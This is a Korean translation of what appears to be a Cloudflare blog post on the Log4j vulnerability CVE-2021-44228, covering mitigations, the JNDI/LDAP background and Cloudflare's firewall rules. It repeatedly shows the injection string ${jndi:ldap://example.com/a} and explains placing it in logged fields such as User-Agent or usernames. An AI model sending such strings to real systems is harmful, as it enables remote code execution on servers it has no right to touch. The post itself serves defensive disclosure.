어제였던 2021년 12월 9일, 널리 쓰이는 Java 기반 로깅 패키지인 Log4j에서 아주 심각한 취약점이 발견되었습니다. RCE(Remote Code Execution)라고 일컬어지는 이 취약점은 공격자가 원격 서버에서 코드를 실행할 수 있게 합니다. Java와 Log4j가 얼마나 널리 쓰이고 있는지를 생각하면 이 취약점은 어쩌면 HeartbleedShellShock 이후로 인터넷에서 발견된 가장 심각한 취약점 중 하나일 것입니다.

이는 CVE-2021-44228로서 Log4j 버전 2(버전 2.0-beta-9와 2.14.1 사이)에 영향을 주며, 현재 2.15.0에서 패치되었습니다.

본 게시물에서는 이 취약점의 역사, 이 취약점이 어떻게 생겨났는지, Cloudflare는 클라이언트를 어떻게 보호하고 있는지를 설명하려 합니다. 당사의 방화벽 서비스로 차단되고 있는 실제 시도되었던 익스플로잇의 자세한 정보는 별도의 블로그 게시물에서 볼 수 있습니다.

Cloudflare 역시 Java 기반 소프트웨어를 사용하고 있으며, 당사 팀은 시스템이 취약해지지 않도록, 또는 이 취약점을 완화시키기 위해 노력해 왔습니다. 또한, 당사는 고객들을 보호하기 위한 방화벽 규칙들을 배포해 왔습니다.

하지만 여러분이 Log4j를 사용하는 Java 기반 소프트웨어를 쓰고 있는 회사에서 일한다면 나머지 부분을 읽기 전에 먼저 이 취약점을 완화하고 시스템을 보호하는 방법에 관한 섹션부터 지금 바로 읽어보시기 바랍니다.

CVE-2021-44228 완화 방법

다음과 같은 옵션을 이용해 이 취약점을 완화할 수 있습니다(여기에서 Apache의 조언 참고).

1. Log4j v2.15.0으로 업그레이드하세요.

2. Log4j v2.10 이상을 사용 중인데 업그레이드를 할 수 없다면 다음과 같이 속성을 설정하세요.

log4j2.formatMsgNoLookups=true

또한 동일한 해당 버전의 환경 변수를 설정해도 됩니다.

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

3. 아니면, classpath에서 JndiLookup 클래스를 제거하세요. 예를 들어, 다음 명령어를 실행하면 됩니다.

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

이렇게 하면 log4j-core에서 클래스가 제거됩니다.

취약점 역사

2013년 버전 2.0-beta9에서 Log4j 패키지가 “JNDILookup plugin”을 이슈 LOG4J2-313에 추가했습니다. 이 변화가 어떻게 문제를 발생시켰는지 이해하려면 JNDI: Java Naming and Directory Interface에 대한 이해가 조금 필요합니다.

JNDI는 1990년대 말부터 Java에 존재해 왔습니다. 이는 디렉토리 서비스로, Java 프로그램이 디렉토리를 통해 데이터(Java 오브젝트 형태)를 찾을 수 있도록 하는 역할을 합니다. JNDI는 다양한 디렉토리 서비스를 이용할 수 있게 해주는 많은 서비스 공급자 인터페이스(SPI)를 갖고 있습니다.

예를 들어, CORBA COS(Common Object Service), Java RMI(Remote Method Interface) Registry, LDAP에 대한 SPI가 존재합니다. LDAP(Lightweight Directory Access Protocol)는 매우 유명한 디렉토리 서비스로 CVE-2021-44228의 주요 포커스입니다(다른 SPI도 사용될 수는 있음).

한 Java 프로그램이 JNDI와 LDAP를 함께 사용해 필요한 데이터를 포함하고 있는 Java 오브젝트를 찾을 수도 있습니다. 예를 들면, 표준 Java 문서에는 LDAP 서버에게 오브젝트에서 속성을 가져오라고 지시하는 example이 있습니다. 이는 ldap://localhost:389/o=JNDITutorial을 이용해 같은 머신(localhost)의 포트 389에서 실행 중인 LDAP 서버로부터 JNDITutorial 오브젝트를 찾고, 여기에서 속성을 읽어들입니다.

튜토리얼에서 언급되었듯이 “LDAP 서버가 다른 머신에 있거나 다른 포트를 사용 중이라면 LDAP URL을 편집해야 합니다”. 즉, LDAP 서버는 다른 머신, 잠재적으로는 인터넷 어디에서든 실행될 수 있습니다. 이러한 유연성 때문에 결국 공격자는 LDAP URL을 제어할 수 있다면 자기가 원하는 대로 Java 프로그램이 서버에서 오브젝트를 로드하도록 할 수도 있는 것입니다.

이것이 Java 생태계에서 유용한 부분인 JNDI와 LDAP에 대한 기본 내용입니다.

하지만 Log4j의 경우에는 공격자가 Log4j로 하여금 ${jndi:ldap://example.com/a} 같은 문자열을 기록하도록 함으로써 LDAP URL을 제어할 수 있습니다. 이렇게 되면 Log4j가 example.com에서 LDAP 서버에 접속한 다음, 오브젝트를 가져옵니다.

이는 Log4j에 특수 구문이 ${prefix:name} 형태로 포함되어 있기 때문인데, 여기에서 prefix는 서로 다른 다수의 Lookup 중 하나이고, name은 평가되어야 합니다. 예를 들어, ${java:version}은 현재 실행 중인 Java의 버전입니다.

LOG4J2-313이 다음과 같이 jndi Lookup을 추가했습니다. “JndiLookup은 JNDI를 통해 변수를 가져올 수 있도록 합니다. 기본적으로 이 키에는 java:comp/env/가 접두사로 붙지만 키에 ":"이 포함되어 있으면 접두사가 추가되지 않습니다.”

${jndi:ldap://example.com/a}처럼 키에 :이 있으면 접두사가 없고, LDAP 서버는 오브젝트에 대한 쿼리를 받습니다. 그리고 이 Lookup은 Log4j 구성에서뿐 아니라 라인을 기록할 때에도 사용될 수 있습니다.

따라서 모든 공격자가 해야 할 일은 기록되는 입력을 찾고 ${jndi:ldap://example.com/a} 같은 것을 추가하는 것입니다. 이는 User-Agent 같은 일반 HTTP 헤더(일반적으로 기록되는 것) 또는 username(역시 기록될 수 있음) 같은 형식 파라미터일 수 있습니다.

이는 Log4j를 사용하는, Java 기반의 인터넷 방식 소프트웨어에서 매우 흔한 일입니다. 더 안 좋게는 Java를 사용하는 비인터넷 방식 소프트웨어 역시 데이터가 시스템에서 시스템으로 전달되는 과정에서 익스플로잇될 가능성이 있다는 점이죠.

예를 들어, 익스플로잇을 포함하고 있는 User-Agent 문자열이 Java로 쓰여진 백엔드 시스템으로 전달되어 인덱싱 또는 데이터 사이언스를 수행하거나 익스플로잇이 기록될 수 있습니다. Log4j 버전 2를 사용하는 모든 Java 기반 소프트웨어를 즉시 패치하거나 완화 조치를 적용하는 일이 중요한 이유가 바로 이것입니다. 인터넷 방식 소프트웨어가 Java로 쓰여져 있지 않다고 해도 문자열이 다른 Java 시스템으로 전달되어 익스플로잇이 발생할 수 있습니다.

Even if the Internet-facing software is not written in Java it is possible that strings get passed to other systems that are in Java allowing the exploit to happen.

아니면, 고객의 이름을 찾을 수 없을 때 이를 기록하는 Java 기반 청구 시스템을 상상해 보세요. 악의적인 사용자가 익스플로잇을 포함하고 있는 이름으로 주문을 생성하면 이 익스플로잇이 여러 단계(그리고 많은 시간)를 거쳐 웹 서버에서 고객 데이터베이스를 통해 청구 시스템까지 도착해 최종적으로 실행될 수 있는 것입니다.

그리고 Java는 인터넷 방식 시스템뿐 아니라 훨씬 더 많은 시스템에서 사용됩니다. 예를 들면, 박스의 QR 코드를 스캔하는 포장 처리 시스템 또는 비접촉식 도어 키 같은 것도 모두 Java로 쓰여져 있고 Log4j를 사용한다면 당연히 취약할 것입니다. 신중하게 생성된 QR 코드에 익스플로잇 문자열이 들어간 우편 주소가 포함되는 일이 있을 수도 있고, 신중하게 프로그래밍한 도어 키에 익스플로잇이 포함되어 출입 기록을 추적하는 시스템에 기록되는 일도 있을 수 있죠.

주기적인 작업을 수행하는 시스템들도 익스플로잇에 노출되어 이후 이를 기록할 수 있습니다. 이렇게 익스플로잇은 Java로 쓰여진 인덱싱, 롤업, 아카이브 프로세스가 악성 문자열을 무심코 기록할 때까지 잠자고 있을 수 있습니다. 몇 시간, 아니 며칠이 지난 후에 비로소 깨어나는 거죠.

Cloudflare 방화벽 보호

Cloudflare는 당사 방화벽을 사용 중인 고객을 위해 HTTP 요청의 일반적인 위치에서 jndi Lookup을 차단하는 규칙 형태로 보호 기능을 배포했습니다. 자세한 정보는 여기에서 참고하시기 바랍니다. 공격자들도 익스플로잇을 계속 수정할 것이기 때문에 이 규칙 역시 계속해서 개량해 가고 있습니다.